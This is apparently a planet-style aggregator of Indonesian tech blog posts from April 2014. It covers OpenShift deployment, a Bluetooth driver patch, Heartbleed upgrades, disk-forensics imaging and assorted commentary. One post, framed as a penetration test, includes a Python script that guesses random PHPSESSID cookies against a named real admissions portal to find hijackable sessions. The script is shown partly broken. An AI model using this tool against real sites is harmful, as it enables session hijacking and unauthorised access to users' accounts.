20 Apr 2014

Even wondering how to deploy your web-based Node.js application on internet? Sadly, I will tell to you that: You can’t do that inside your ordinary cpanel-ed web hosting because they mostly only support PHP. Yes, that very sad news because you can rent a web hosting as low as a buck per month.

So the solution is to deploy it inside a PAAS (Platform as a Service) provider which is one of Cloud Computing solution to deploy a web application with many kind of supported platform (such as Ruby, Python, Google Go, and even Java). Unlike ordinary cpanel based web hosting, your web doesn’t run inside shared machine with many other web application. But also unlike dedicated hosting, it doesn’t run your application in single physical machine because it run inside a sandboxed virtual machine which will isolated your application thus makes it not dependent each other.

There are some PAAS solution which provided by major company such as Google Apps Engine, Windows Azure (by Microsoft), OpenShift (by Redhat) and Amazon Web Service (a.k.a AWS). Some of them provided a free plan and all of them of course provided pay plan which unlike traditional web hosting, the plan is not only based on how much space you need but also how much the CPU power, network bandwidth you need to run your application.

Now in this post, I will tell you how to deploy your Node.js application inside Redhat’s OpenShift which has a free-plan (with maximum 3 application per account). Deploying Node.js application is very easy if you know how to make it easy.


You need an online Git repository to host and hold your code. Come on, you can use Github for this purposes aren’t you?

Hold it, before you pushed your code and make it clear, you need this two step to make your application inside your OpenShift gear : Be sure you create a packages.json which tell you everything about your application and modify your server code regarding app.listen() part.

Your packages.json should look like this, mention all of your application’s dependency clearly because it will npm-ed automatically when you start your application, then mention how to start your script in script.start part and what is your main server script’s file name inside main part.

    "name": "amankata",
    "description": "amankata node.js edition",
    "private": "true",
    "version": "0.0.1",
    "dependencies": {
        "express": "3.x",
        "ejs": "~0.7.1",
        "socket.io": "0.9.16"
    "scripts": {
        "start": "node server.js"
    "main": "server.js"

Save it, then open server.js or another name depends on your configuration. Find the application listening part which is a line which indicating where your application will be listening to. It might look something like this :


Change the port it will be listening by reading it first from process.env.OPENSHIFT_NODEJS_PORT and the host simulcast address from process.env.OPENSHIFT_NODEJS_IP. That above code now look like this :

var port =  process.env.OPENSHIFT_NODEJS_PORT || 8080;   // Port 8080 if you run locally
var address =  process.env.OPENSHIFT_NODEJS_IP || ""; // Listening to localhost if you run locally
app.listen(port, address);

Save it, then push into your Git repository. Now copy your Git repository’s clone address and go to next step.

Register into OpenShift

You can register OpenShift for free from https://www.openshift.com/app/account/new. Complete the form, verify with your email and go to next step.

Add an Application

OpenShift Dashboard

After you verify your account, login into the OpenShift’s dashboard and do “Add Application”

OpenShift Add an Application

Scroll down in “Create a New Application” page and you will see “NodeJS 0.10 or 0.06″. Choose one of them to create a NodeJS gear. A gear is an environment which hold and deploy your application. If you not sure, choose NodeJS 0.10 which is the latest version.

Create a Node.js Application gear

Enter your public URL of your application (don’t worry, you can use your own domain later), your application’s git clone URL (Do paste into it) and scalability option you want. If everything’s OK, click “Create Application”.

Wait some seconds (It might take long time). And if there is no major issue, you can open your application in your chosen URL.

Running OpenShift application, which use my own domain

Using your own domain

AmanKata OpenShift Dashboard

If you want to use your own domain, open OpenShift’s Dashboard, click into your application and click “Change alias” beside your application domain name. Then input your domain you wish and do create alias.

Woa woa woa, it can’t run that easy. Remember to configure your domain server which parked your domain and add a CNAME record to redirect into your previous original domain.


Add new cartridge inside your newly created application

If your application use database, then you need to create a database cartridge for your application. Open your application dashboard (remember, application specific dashboard), look at bottom of the page and choose your database cartridge which depend on what you use. OpenShift provided MySQL, PostgreSQL and even MongoDB solution to use.

I ordered MySQL for one
Cuplikan layar dari 2014-04-20 20:43:01

You will provided with something you need (like username, password) to connect into your database cartridge. Go change your code.

SSHing your PAAS (and modify your code via Git)

If you want to do SSH for administration purposes (such as starting/restarting/stopping your gear, MySQL command line, etc), you can register your SSH public key from “Settings” menu, and click “Add new key” inside “Public key” section.

SSH public key management

Don’t know how to create a pair of SSH public/private key, here is a command to do it :

ssh-keygen -t dsa

Your SSH’s public key in ~/.ssh/id_rsa.pub or ~/.ssh/id_dsa.pub. If you use Windows machine, then do it with your MSWIN/Cygwin (that usually installed within Git for Windows).

Now you can log into SSH (per application) from an address which given on sidebar of your application’s dashboard. Oh yeah, you can also do git-ing from git clone address provided in the same place.

My address to do git and ssh with newly created application. Yes, we don't need to pixelize that because the one who know my SSH private key is only me :D
on 20 Apr 2014 01:31 PM

19 Apr 2014

Hari ini, saya memindah salah satu website klien yang menggunakan prestashop, ke beda hosting. Cara ini secara umum sering saya gunakan untuk memindah sebuah website ke tempat lain. Backup file – file website asal, kemudian backup database ( untuk memudahkan saya menggunakan phpmyadmin ). Kemudian di hosting baru, buat database dan user, dan kemudian upload […]

Posting Pindah website prestashop ke hosting lain ditampilkan lebih awal di Personal Blog [ Anwar Purnomo ].

on 19 Apr 2014 07:03 AM

18 Apr 2014

In my previous post, I did compiled and installed this source coded driver from Ubuntu PPA without any hassle with my previous Ubuntu 12.04 LTS (Kernel 3.8.x). But after an-hour-long upgrade process to Ubuntu 14.04 LTS (with newer Kernel 3.13), I need to recompile (make clean; make) this driver but unfortunately it failed and I got this message :

/usr/src/rtbth-3.9.3/rtbth_core_bluez.c: In function ‘rtbt_hps_iface_init’:
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:404:13: warning: assignment from incompatible pointer type [enabled by default]
  hdev->send = rtbt_hci_dev_send;
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:406:6: error: ‘struct hci_dev’ has no member named ‘ioctl’
  hdev->ioctl = rtbt_hci_dev_ioctl;
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c: At top level:
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:83:20: warning: ‘pkt_type_str’ defined but not used [-Wunused-variable]
 static const char *pkt_type_str[]=
make[2]: *** [/usr/src/rtbth-3.9.3/rtbth_core_bluez.o] Error 1
make[1]: *** [_module_/usr/src/rtbth-3.9.3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-24-generic'
make: *** [all] Error 2

If you can’t see what triggering this error, see that output from bottom to up until you found something says error which obviously inside this line :

/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:406:6: error: ‘struct hci_dev’ has no member named ‘ioctl’
  hdev->ioctl = rtbt_hci_dev_ioctl;

Seems like familiar C-based compilation error message? Yes it does. A struct called hci_dev apparently changed its structure in newest version of kernel. And yes, it does changed in main kernel tree from this commit because ioctl is no use anymore. So I decided to modify rtbth_core_bluez.c line 406 and just commented this line.

//      hdev->ioctl = rtbt_hci_dev_ioctl;

Compiled it again, and got another error.

/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:216:2: error: too few arguments to function ‘hci_recv_frame’
  status = hci_recv_frame(skb);

When I blamed net/bluetooth/hci_core.c to see the function declaration of hci_recv_frame from Linux kernel tree, this function is now uses two argument (instead of one), an hci_dev of hdev and a sk_buff of skb) starting from this commit, which also adjusting every single bluetooth driver inside kernel tree. This adjustment is very simple: put an hdev inside hci_recv_frame function as an argument. I did this inside rtbth_core_bluez.c line #216.

        //status = hci_recv_frame(skb);
        status = hci_recv_frame(hdev, skb);
  CC [M]  /usr/src/rtbth-3.9.3/rtbth_core_bluez.o
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c: In function ‘rtbt_hps_iface_init’:
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:404:13: warning: assignment from incompatible pointer type [enabled by default]
  hdev->send = rtbt_hci_dev_send;
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c: At top level:
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:83:20: warning: ‘pkt_type_str’ defined but not used [-Wunused-variable]
 static const char *pkt_type_str[]=
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c: In function ‘rtbt_hci_dev_send’:
/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:92:6: warning: ‘status’ may be used uninitialized in this function [-Wmaybe-uninitialized]
  int status;
  CC [M]  /usr/src/rtbth-3.9.3/rtbth_core_us.o
  CC [M]  /usr/src/rtbth-3.9.3/rtbth_hlpr_hw.o
  CC [M]  /usr/src/rtbth-3.9.3/rtbth_hlpr_dbg.o
  CC [M]  /usr/src/rtbth-3.9.3/rtbth_hlpr_linux.o
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c: In function ‘RtlCopyMemory’:
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c:95:9: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
  return (int)memcpy(Destination, Source, Length);//sean wang linux, fix the build warning, type casting
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c: In function ‘ral_task_notify_exit’:
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c:557:16: warning: unused variable ‘pOSThread’ [-Wunused-variable]
  RTBT_OS_TASK *pOSThread = (RTBT_OS_TASK *)pTask->pOSThread;
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c: In function ‘ral_task_customize’:
/usr/src/rtbth-3.9.3/rtbth_hlpr_linux.c:570:16: warning: unused variable ‘pOSTask’ [-Wunused-variable]
  RTBT_OS_TASK *pOSTask = (RTBT_OS_TASK *)pTask->pOSThread;
  LD [M]  /usr/src/rtbth-3.9.3/rtbth.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /usr/src/rtbth-3.9.3/rtbth.mod.o
  LD [M]  /usr/src/rtbth-3.9.3/rtbth.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-24-generic'

Compiled again, no error.

But When I looked at the error message again, I noticed that there are some “warning” message which could be very dangerous but ignored by compiler by default such as incompatible pointer type.

/usr/src/rtbth-3.9.3/rtbth_core_bluez.c:404:13: warning: assignment from incompatible pointer type [enabled by default]
  hdev->send = rtbt_hci_dev_send;

I reviewed again what ->send property expected as the value from hci_dev struct inside includes/net/bluetooth/hci_core.h. Then from this commit, it is clear that send expecting a function pointer with hdev as one its argument.

So I changed rtbt_hci_dev_send so it will including hdev as its first argument and move and skb moved as second argument in line 86 and commented previous hdev declaration in line 88:

//int rtbt_hci_dev_send(struct sk_buff *skb)
int rtbt_hci_dev_send(struct hci_dev *hdev, struct sk_buff *skb)
        //struct hci_dev *hdev = (struct hci_dev *)skb->dev;

Compiled again, VOILA! No error and no warning other than uninitialized/unused variable. So the last thing to do is to make install and then modprobe rtbth (as root of course).

Bluetooth works detecting my nearby devices.

As a reward for scrolling this post through this part, here I give you THE PATCH.

on 18 Apr 2014 04:59 AM

17 Apr 2014

Ubuntu 14.04 LTS released!

Putu Wiramaswara Widya

Finally, new Long Term Support (LTS) of Ubuntu released on 17th April, 2014. For those who upgrade its Ubuntu every single release and those who use only LTS release for the sake of stability and maturity, now you can do-release-upgrade via terminal or download Ubuntu Live Image from http://releases.ubuntu.com/trusty/ or your nearby mirror.

Cuplikan layar 2014-04-17 23:02:47

And now, wait for my next post for review. Hope this upgrade will run smoothly.

on 17 Apr 2014 04:04 PM

Anda menemukan masalah yang sama? galat ini muncul saat saya hendak melakukan apt-get update / upgrade BlankOn Suroboyo.

$ sudo apt-get upgrade
[sudo] password for ramadoni:
Reading package lists... Error!
E: Encountered a section with no Package: header
E: Problem with MergeList /var/lib/apt/lists/kambing.ui.ac.id_blankon_dists_suroboyo-security_main_i18n_Translation-en
E: The package lists or status file could not be parsed or opened.

Solusinya adalah dengan cara dibawah ini :

$ sudo rm -rf /var/lib/apt/lists/* -vf

Kemudian coba lakukan kembali

$ sudo apt-get update / upgrade

Semoga bermanfaat.

on 17 Apr 2014 05:22 AM

Azka merupakan busana sulam etnik handmade Indonesia dengan kualitas terbaik yang merupakan sulaman para ibu rumah tangga dari daerah Bogor.

Seiring perjalanannya AzkAsyah™ berhasil meraih berbagai penghargaan dan pengakuan dari lembaga nasional seperti Komite Akreditasi Nasional (KAN), ISO 9001-2000 dan BQSS yang menjadikan semakin hari semakin berkembang dan dikenal luas masyarakat Indonesia bahkan hingga ke mancanegara.

Bagi Anda yang ingin membeli baju lebaran Sarimbit atau Satuan, silakan langsung menuju ke AQILA CORNER.

on 17 Apr 2014 04:20 AM

16 Apr 2014

Sekarang sedang ramai dalam pembicaraan tentang seorang dara yang mengomel di PATH karena kehadiran ibu-ibu hamil yang seenaknya saja minta jatah kursi duduk. Beliau menuduh wanita hamil itu malas karena tidak berangkat pagi jam lima seperti ibu-ibu hamil yang lainnya. Akibat perkataan tersebut, ia dicela oleh banyak orang di Internet.

Yang pertama, saya juga mau bilang bahwa yang menyebarkan tulisan dara tersebut sama bersalahnya. Mereka tidak tahu bahwa efek menyebarkan tulisan tersebut secara daring akan berakibat fatal bagi sang dara. Apalagi, apa yang dipasang di Internet takkan pernah bisa dihapus. Aib ini akan melekat seumur hidup dara ini.

Seandainya pun memang dia bersalah, apakah dara tersebut tidak layak untuk mendapatkan pengampunan?

Yang kedua, selaku pengguna KRL, saya juga sering menjumpai tingkah ini bukan hanya sang dara. Saya menjumpai bahkan kaum lelaki pun ada yang tidak punya kemaluan dengan berbalik mengejek ibu-ibu hamil sampai menyuruh dengan kasar ibu tersebut untuk ke gerbong wanita. Jadi, perilaku sang gadis bisa jadi merupakan bentuk empati dari sekelilingnya yang juga kesal dengan kelakuan ibu hamil.

Menurut Undang-Undang yang berlaku, perusahaan wajib memberikan cuti dibayar selama tiga bulan kepada ibu hamil. Sisanya tergantung negosiasi dengan perusahaan, alias bisa jadi cuti yang dibayar. Saya tidak tahu bagaimana perusahaan di Indonesia mengaturnya, namun menurut UU Pasal 154 huruf b No. 13/2003 jelas mengatur bahwa ibu hamil yang dipaksa berhenti bekerja dapat membela diri.

Yang ketiga, seberapa tahu ibu-ibu hamil dengan haknya? Jangan-jangan dia tidak tahu dengan UU ini sehingga ia terintimidasi dengan kontrak yang mengharuskan dia bekerja. Seberapa, sih, peraturan perundang-undangan mengatur gaji seseorang? Jangan-jangan dengan mengambil cuti hamil tersebut, seseorang kehilangan sejumlah besar penghasilannya.

Yang keempat, transportasi yang tidak manusiawi, jalan yang berlubang, dan rambu-rambu yang tidak efektif membuat perilaku sebagian kita, terutama yang berkendara (umum/pribadi) di DKI Jakarta, berubah menjadi lebih beringas. Ini dikarenakan fungsi kontrol pemerintah yang tidak benar. Bagaimana cara memecat anggota Dewan yang tidak bekerja? Bagaimana masyarakat memiliki kontrol terhadap anggaran dan hasil kerja? Adakah pihak media massa yang secara aktif meliput penggunaan kas negara terutama tentang transportasi umum ini?

Yang kelima, hal ini justru sebuah indikasi untuk mempertanyakan bagaimana pendidikan moral berlangsung saat ini. Apakah nilai-nilai Pancasila seperti Budi Pekerti, Tenggang Rasa, dan Hormat-menghormati sudah tak lagi diajarkan di sekolah? Ataukah jangan-jangan sudah tidak lagi relevan. Ini buat semua orang, bukan hanya sang “tertuduh”.

Yang keenam, tahukah kita bahwa dara tersebut pun berhak karena dia pincang? Tahukah kita kondisi KRL pada jam sibuk? Yap, terkadang kita suka menghakimi tanpa tahu kondisi orang tersebut. Tahukah kita beban hidupnya sehingga dia berusaha mengeluarkan kekesalan dalam pikirannya yang menumpuk? Hal tersebut menyebabkan kita marah kepada orang lain.

Saya sebenarnya mau membahas tentang cyber-bullying dan efeknya bagi orang Indonesia. Itu sebabnya, saya sedang memantau kalau-kalau terjadi sesuatu dengan dara ini. Kalau itu terjadi, saya rasa memang perlu bangsa ini dibukakan tentang bahayanya cyber-bullying.

Ada yang lebih mengerti permasalahannya? Saya juga mau tanya pengalaman teman-teman di negeri orang tentang ibu hamil dan transportasi umum. Siapa tahu ada yang lebih berpengalaman.

Itu makanya, saya minta supaya pejabat publik supaya sekali seminggu menggunakan transportasi umum. Biar dia tahu bagaimana laknatnya kondisi di sana pada jam sibuk. Jangan cuma naik mobil ditemani voorrijder.

on 16 Apr 2014 05:19 PM

Last year, I got a task to do some penetration testing with ujian.sbmptn.or.id. This site were used for Indonesia’s National Selection for Public University Admission (Seleksi Bersama Masuk Perguruan Tinggi Negeri, SBMPTN) registration. The first thing I did was to determine how this simple site react when we passed a bogus Session ID cookies (As usually I do).

Here I give you a tools to accomplish this. To use this thing, first determine the md5 checksum of normal site when it react with wrong session ID then put inside CHECKSUM variable. And don’t forget to analyse the format of your tested site’s session ID in the first place to determine site’s session ID pattern. In this script, It does with 26 alphanumeric (small case) character.

import httplib
import hashlib
import random
import string
import datetime

# Normal react web page's md5 checksum
CHECKSUM = "f98a1ee2197ee3e880f235236285ff58"

# Site
server = "ujian.sbmptn.or.id"
address = "/login.php"

f_success = open("success_token", "a")
f_fail = open("fail_token", "a")

success = 0
fail = 0

def do_exploit(phpsessid):
    global success, fail_token
    conn = httplib.HTTPConnection(server, timeout=10)
        conn.request("POST", address, "", {"Cookie": "PHPSESSID=" + phpsessid + "; path=/"})
        time = str(datetime.datetime.now())
        resp = conn.getresponse()
        data = resp.read()
        # MD5 Checksum
        md5 = hashlib.md5()

        result = md5.hexdigest()
        if (CHECKSUM == result):
            fail = fail + 1
            f_fail.write(time + " " + phpsessid + "\n")
            success = success + 1
            f_success.write(time + " " + phpsessid + "\n")

        print "Something happened"

while 1:
    phpsessid = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(26))

When you run this script, check a file called “f_success”. If it tells you something, then you may be found a working session ID you can replay/inject to.

on 16 Apr 2014 08:55 AM
(Ini repost dari blog saya satu lagi, Rijut.com. Blog itu mau saya belokkan ke konten yang lain) Sebagai web-startup Indonesia pertama yang sukses dengan dukungan pernyataan resmi soal valuasi mereka, maka saya rasa wawancara Bisnis.com ...
on 16 Apr 2014 01:41 AM
(Ini repost dari blog saya satu lagi, Rijut.com. Blog itu mau saya belokkan ke konten yang lain) MeetDoctor sebenarnya sudah sekitar 2 tahun lebih online. Ada beberapa fitur di MeetDoctor ini, tapi bagi saya pribadi ...
on 16 Apr 2014 01:30 AM
(Ini repost dari blog saya satu lagi, Rijut.com. Blog itu mau saya belokkan ke konten yang lain) Secara keseluruhan, grup Tempo (kode saham TMPO) di tahun 2012 menghasilkan laba bersih Rp 29,64 Miliar (ini termasuk ...
on 16 Apr 2014 01:24 AM

15 Apr 2014

Nyobain KDE 4.2.0..

Fajran Iman Rusadi

Fajran posted a photo:

Nyobain KDE 4.2.0..

.. di Windows =D

on 15 Apr 2014 12:06 PM

Ada yang mau beliin?

Fajran Iman Rusadi

Fajran posted a photo:

Ada yang mau beliin?

on 15 Apr 2014 12:06 PM

Nambah lagi

Fajran Iman Rusadi

Fajran posted a photo:

Nambah lagi

Sekarang lcd backlightnya gak bisa nyala gara2 tu laptop jatoh T_T lcd nya sendiri kayanya ngga apa2 berhubung masih bisa ngeliat gambarnya walau serasa mati lampu (emang mati lampu si).

Blm sempet ngoprek2 sendiri, jadi dicolokin dulu aja ke monitor lain. Untung di rumah ada monitor nganggur walau entah punya siapa. Mudah2an bertahan sampe tesis kelar dan lulus.

Colokan kabel daya si boleh aja pake magnet biar kalo kesandung otomatis copot sendiri. Tapi kabel ethernet kan ngga !-_-

on 15 Apr 2014 12:06 PM


Fajran Iman Rusadi

Fajran posted a photo:


Snow Leopard clean install sepertinya cuma make ...GB saja. Ubuntu 8.04 itu sekitar 2GB lebih, gak nyampe 3GB. Sedangkan, Windows 7 RC ngabisin 8-10 GB.

Ada yg mau beliin SanDisk Extreme III 30mb/s yg (minimal) 8 GB? =D

Upps.. sepertinya saya salah mengartikan maksud gambar di atas =D saya belum tahu brp kebutuhan Snow Leopard. Kalau saya dah nemu hdd kosong tuk dipasangi, akan saya kabari lagi =D

update: instalasi minimal (seminimal yg bisa diset pas nginstall) snow leopard itu sekitar 8-9GB

on 15 Apr 2014 12:06 PM

Message from the future

Fajran Iman Rusadi

Fajran posted a photo:

Message from the future

on 15 Apr 2014 12:06 PM

13 Apr 2014

Heartbleed: Is Linus Torvald’s law invalid?


Karena galat serius di OpenSSL, banyak yang menyerang FOSS. Kalau mau jujur, bagaimana kita tahu kualitas kode sistem tertutup? Berapa baris kode yang jelek karena diburu-buru waktu rilis proyek? Berapa galat serius yang dibiarkan terbuka? Anda takkan tahu panu mereka yang tak terbuka.

Beberapa waktu yang lalu ada yang menyarankan SIAKNG menggunakan cloud merek tertentu. Saya hanya bisa tertawa. Sebagai pengamat distributed computing dari zaman grid, munculnya riset seorang mahasiswa Israel tentang hipervizor yang melahirkan Xen, dan akhirnya API-based infrastructure yang melahirkan Amazon EC; saya ikuti semua dari nol. Semua inovasi dari FOSS.

Mengapa itu terjadi?

Karena pengetahuan dibagi dan tak dibiarkan membusuk tak terpakai. Ada hal-hal yang lebih tinggi yang menyebabkan FOSS berharga bagi kemanusiaan. Namun, saya rasa Anda takkan tertarik saya membahas filosofi.


on 13 Apr 2014 05:36 AM

12 Apr 2014

Report baru SMK Kompetensi Keahlian Teknik Komputer dan Jaringan (TKJ) berdasarkan Data Pokok SMK yang dirilis oleh Direktorat PSMK per tanggal 29-1-2014 adalah sebagai berikut: SMK aktif terdata = 11.727 sekolah SMK Negeri = 3.034 sekolah SMK Swasta = 8.693 sekolah % perolehan data = 91 dengan koordinat terdata = 33% dan website terdata = […]
on 12 Apr 2014 10:58 AM

11 Apr 2014

Beberapa waktu lalu dunia teknologi sempat geger karena Brendan Eich diangkat jadi CEO Mozilla, lalu tidak berapa lama kemudian langsung turun dari posisi itu. Kemudian kemarin muncul situs drop-dropbox.com. Isinya cuma 1 halaman. Inti pesan ...
on 11 Apr 2014 03:43 AM

10 Apr 2014

Pustaka bionic dan Dalvik yang teroptimasi untuk LG G2.

on 10 Apr 2014 04:23 PM
Kapan itu saya pernah nulis tentang Suara.com, portal berita yang baru, masih gress. Dari komentar Dwi di tulisan itu saya baru sadar kalau portal ini berbasis WordPress. Tadinya gak kepikiran buat ngecek. Lalu, secara gak ...
on 10 Apr 2014 03:04 AM

Selagi Pemilu, ternyata muncul sebuah kehebohan tentang galat pada OpenSSL. Saya belum sempat menulis karena kehebohan Pemilu lebih terasa. Saya sudah memilih, loh.

Kehebohan tentang OpenSSL dikarenakan adanya sebuah modul di OpenSSL yang bernama Hearbeats. Modul ini menyebabkan OpenSSL membuka sampai 64KB memori untuk dibaca. Itu sebabnya, galat ini berbahaya karena bisa jadi 64KB memori itu berisi login, sandi, atau sertifikat X.509.

Cara mengatasinya?

Galat ini hanya ada pada OpenSSL versi 1.0.1 s.d. 1.0.1f dan 1.0.2-beta. Silakan tingkatkan ke versi 1.0.1g atau 1.0.2-beta1.

Atau cara kedua adalah dengan mematikan Hearbeats. Caranya dengan mengompilasi ulang OpenSSL Anda dengan menambah “-DOPENSSL_NO_HEARTBEATS” pada kompilasi untuk mematikan Heartbeats pada kompilasi.

Cara Paling Gampang

Anda sudah mengaktifkan repo keamanan distro Anda? Ya, tinggal:

$ sudo apt-get update && sudo apt-get dist-upgrade


Cara Agak Susah

Cara agak susah adalah dengan mengompilasi sendiri. Bisa ikuti cara BLFS.

Unduh OpenSSL-1.0.1g dan semuanya.

$ wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
$ wget http://www.linuxfromscratch.org/patches/blfs/svn/openssl-1.0.1g-fix_parallel_build-1.patch
$ wget http://www.linuxfromscratch.org/patches/blfs/svn/openssl-1.0.1g-fix_pod_syntax-1.patch

Buka dan tambal paket.

$ tar xvfz openssl-1.0.1g.tar.gz
$ cd openssl-1.0.1g
$ patch -Np1 -i ../openssl-1.0.1g-fix_parallel_build-1.patch
$ patch -Np1 -i ../openssl-1.0.1g-fix_pod_syntax-1.patch


$ ./config --prefix=/usr --openssldir=/etc/ssl --libdir=lib shared zlib-dynamic
$ make

Saya pikir Debian tidak akan menggunakan pustaka statik. Maka, matikan saja dari pada mengotori sistem.

$ sed -i 's# libcrypto.a##;s# libssl.a##' Makefile

Selanjutnya pasang.

$ sudo make MANDIR=/usr/share/man MANSUFFIX=ssl install
$ sudo install -dv -m755 /usr/share/doc/openssl-1.0.1g
$ sudo cp -vfr doc/* /usr/share/doc/openssl-1.0.1g


Cara saya

Hmm… cara saya terlalu rumit untuk ditulis di sini. Nanti saja.

Bacaan Lebih Lanjut

on 10 Apr 2014 12:16 AM

08 Apr 2014

Scan of the Month 24

Dedy Hariyadi

Pertama kali mendapatkan berkas SoM24 memastikan md5-nya sama. Alat bantu yang terpikir pertama kali untuk melihat isi dari berkas image menggunakan Autopsy. Padahal menggunakan perintah strings sebenarnya bisa melihat isi dari berkas image tersebut. Autopsy saya gunakan untuk mengunduh Jimmy Jungle.doc dan melihat FAT Contents-nya.

Untuk mendapatkan berkas coverpage.jpg dengan berkas image diekstrak terlebih dahulu, dd if=~/bb-digital/image of=~/bb-digital/coverpage.jpg bs=512 count=31 skip=73. Melihat pesan yang tersembunyi di berkas coverpage.jpg yang merupakan password dari berkas Schedule.Visits.xls yang terkompres menggunakan perintah strings coverpage.jpg. Hasilnya seperti dibawah ini namun saya ambil bagian atas dan bawah saja.
 $.' ",#
Berkas Schedule.Visits.xls terkompres dalam Schedule.Visits.zip, untuk mengekstraknya menggunakan perintah dd if=~/bb-digital/image of=~/bb-digital/Schedule.Visits.zip bs=512 count=5 skip=104. Selanjutnya berkas Schedule.Visits.zip diekstrak menggunakan perintah unzip disertai password goodtimes.

Semua ini saya menggunakan Linux Mint 16. Tentu hampir kegiatan menggunakan perintah teks kecuali Autopsy yang berbasis web dan membuka berkas menggunakan LibreOffice. 

on 08 Apr 2014 08:45 AM

07 Apr 2014

Beberapa penampakaan User Interface untuk aplikasi Mobile yang dibuat menggunakan Inkscape .. jadi ga perlu pake sotosop untuk mempersedap membuat UI aplikasi.. dan biarkan gambar yang berbicara :)

on 07 Apr 2014 03:24 AM

05 Apr 2014

In digital world, everything from text, media, and even the model of real world is represented through only by combination of 1 and 0. The foundation of complex modern computer and smart electronic appliances built from as simple as digital system gate like NAND gate which convert two binary input into one binary output. As NAND gate become smaller from a power-hungry lamp-sized vacuum tube to a bit micron of die in microprocessor, so do the size of computer and the processing power of it. The guy from 1940th might not imagine that post 2010 palm-sized computer can be used to do complex 3D rendering object, watching videos, and communicate each other through internet.

In this post, I will tell you how do the computer represent a text, from one character to hundred-pages of book.

The Character

Character is, yeah you know what is it. It is ‘A’ without quote mark. Every character you write with computer is represented through combination of 7 to 32 bit depending of its encoding.

For short explanation, encoding is actually how do we map from combination of bit into character. There is many kind of encoding standard. Morse code is actually binary character encoding because it is just dot-dash combination and it was used by early communication tool like telegraph or military radio communication. But in modern computer, there is dedicated encoding system that we known as ASCII (American Standard Code for Information Interchange).

ASCII standard not only define alphanumeric character, but it also define many punctuation mark, space and control character (Such as a character to define where it must stop to read the text). ASCII is represented by 7 bit binary system.

How to combine character-by-character digitally? It just simple as combining its binary combination together side-by-side in correct order. So you will know that “HELLO WORLD” is represented by 77 bit without any control character. But when the program should stop to read the character after “WORLD”, it must be added with control character called NULL Terminator, adding 7 more bit to it.

But the problem arise when ASCII is just representing latin non-diacritic alphanumerical character which commonly used in English language. Another language which use different kind of latin alphabet and even don’t use any latin alphabet at all (like Chinese) use their own encoding standard. All of previous encoding standard isn’t compatible each other so it means that when someone from Chinese read ASCII-US based text, it won’t be represented with latin alphabet.

So to overcome this incompatibility, we need an encoding standard which combine all written script in the world into one standard. That’s what we called the Unicode standard.

The Unicode

Today modern computer software will likely to use Unicode. When someone send Unicode-based Chinese text to someone in Russia, it will still printed as Chinese, not Cyrillic. This standard is first written by bunch of guys from Xerox and Apple.

In Unicode, character is represented from 8 bit to 32 bit (UTF-8, UTF-16, UTF-32). It is still backward compatible with ASCII because its first 7 bit is just same as used by ASCII. UTF-16 which uses 16-bit is largely used by East and South Asian writing system like Devanagari, Tamil, Tibet, Chinese, Korean and Japan.

The Unicode still evolving by releasing new version of its standard every year (the latest when I wrote this post is version 6.3 which released in the end of 2013). And every new standard, there will be a new support for some writing script and character like new Indian Rupee Sign (₹) which supported from Unicode 6.0.

Character Input and Output

Inputting character to computer is done mostly using keyboard. When you type something to keyboard, it sends the different binary signal depends on what button you press. Then when computer operating system receive that, it will be converted into Unicode/ASCII character depends on what encoding standard do your application uses and what keyboard layout do you set on your operating system.

Outputting text from your computer to display screen or printer is rather complex. When displaying the text in monitor or printing it to a paper, it is displayed with some typographical form/typeface by using digital font. Its principle is much like font used in typesetting context, it will make every character displayed with consistent form. Digital font mostly uses vector-based graphics to represent a glyph form so it can be displayed correctly without boxing-pixel in every size.

on 05 Apr 2014 04:53 AM

04 Apr 2014

Tulisan ini sebagai koreksi tulisan sebelumnya yang berjudul Menggandakan Barang Bukti Digital. Pada tulisan tersebut ada kesalahan pada proses imaging menggunakan dc3dd. Langkah yang benar dalam proses imaging menggunakan dc3dd sebagai berikut:
1. Memeriksa md5 USB Flashdisk yang terdeteksi, sudo md5sum /dev/sdb
44cf94ff5e6c574e48278823df5d9b27  /dev/sdb
2.  Imaging menggunakan perintah dc3dd, sudo dc3dd if=/dev/sdb of=~/bb-digital/ufod-dc3dd.dd hash=md5 sebagian hasilnya:
input results for device `/dev/sdb':
   1982464 sectors in
   0 bad sectors replaced by zeros
   44cf94ff5e6c574e48278823df5d9b27 (md5)
3. Terlihat hasil md5 tidak terjadi masalah atau barang bukti tidak terkontaminasi.

Saya akan mencoba menggunakan Guymager. Sebelumnya install terlebih dahulu Guymager, sudo apt-get install guymager. Proses imaging berbeda dengan dc3dd yang berbasis teks, Guymager berbasis grafis. 
1. Buka Guymager
2. Tancapkan USB Flashdisk, klik Rescan
3. Klik kanan pada USB Flashdisk pilih Acquire Image, isinya kurang lebih seperti dibawah ini.

4. Hasil Guymager akan menghasilkan 2 berkas yaitu namaberkas.E01 dan namaberkas.info
5. Untuk memastikan hasilnya sesuai dengan dc3dd dapat dibuka namaberkas.info, kurang lebih isinya:
Image path and file name: /home/dad/bb-digital/ufod201404001.Exx                            
Info  path and file name: /home/dad/bb-digital/ufod201404001.info                           
Hash calculation        : MD5                                                               
Source verification     : off                                                               
Image verification      : on                                                                

No bad sectors encountered during acquisition.
State: Finished successfully

MD5 hash                   : 44cf94ff5e6c574e48278823df5d9b27
MD5 hash verified source   : --                             
